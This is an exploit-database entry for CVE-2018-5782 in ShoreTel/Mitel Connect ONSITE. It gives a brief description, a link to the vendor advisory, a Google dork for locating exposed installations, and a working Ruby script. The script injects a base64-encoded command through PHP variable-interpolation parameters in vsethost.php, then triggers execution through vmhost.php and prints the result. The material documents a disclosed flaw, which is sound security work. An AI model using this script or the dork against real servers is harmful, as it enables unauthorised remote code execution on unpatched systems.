ExploitFixes
ShoreTel / Mitel Connect ONSITE 19.49.5200.0 - Remote Code Execution 2019-01-16 17:05:04

# Exploit Title: ShoreTel / Mitel Connect ONSITE ST14.2 Remote Code Execution
# Google Dork: +"Public" +"My Conferences" +"Personal Library" +"My Profile" +19.49.5200.0
# Date: 01-01-2019
# Exploit Author: twosevenzero
# Vendor Homepage: https://www.mitel.com/
# Version: 19.49.5200.0 (and very likely many others prior and after)
# CVE : CVE-2018-5782 ( https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5782)

Description
===========
There are multiple vulnerabilities in ShoreTel/Mitel Connect ONSITE ST 14.2
which, when chained together, result in remote code execution in the
context of the running service. The vendor was contacted by Jared McLaren
of SecureWorks in early 2018 but a proof of concept was not released. I had
access to a single device during the development of this exploit. As such,
your system paths may be different and you may need to edit this script to
fit your needs.

Solution
========
The vendor has released a response stating that the newest versions are not
affected. Please see their response for upgrade instructions.

https://www.mitel.com/support/security-advisories/mitel-product-security-advisory-18-0004

#!/usr/bin/env ruby

require "base64"
require "methadone"
require "faraday"

include Methadone::Main
include Methadone::CLILogging

main do |base_url,command|

cmd_b64 = Base64.strict_encode64(command.strip)

conn = Faraday.new(:url => base_url.strip)
res = conn.get do |req|
req.url "/scripts/vsethost.php",
{
:hostId => "system",
:keyCode => "base64_decode",
:meetingType => "{${gKeyCode}($gSessionDir)}",
:sessionDir => cmd_b64,
:swfServer => "{${gHostID}($gMeetingType)}",
:server => "exec",
:dir => "/usr/share/apache2/htdocs/wc2_deploy/scripts/"
}
end

rce = conn.get do |req|
req.url "/scripts/vmhost.php"
end

print rce.body.to_s
end

version "0.1.0"
description "Shoretel/Mitel Connect Onsite ST 14.2 Remote Code Execution PoC"

arg :base_url, "URL of vulnerable Connect Onsite ST 14.2 Installation."
arg :command, "Command to run."

go!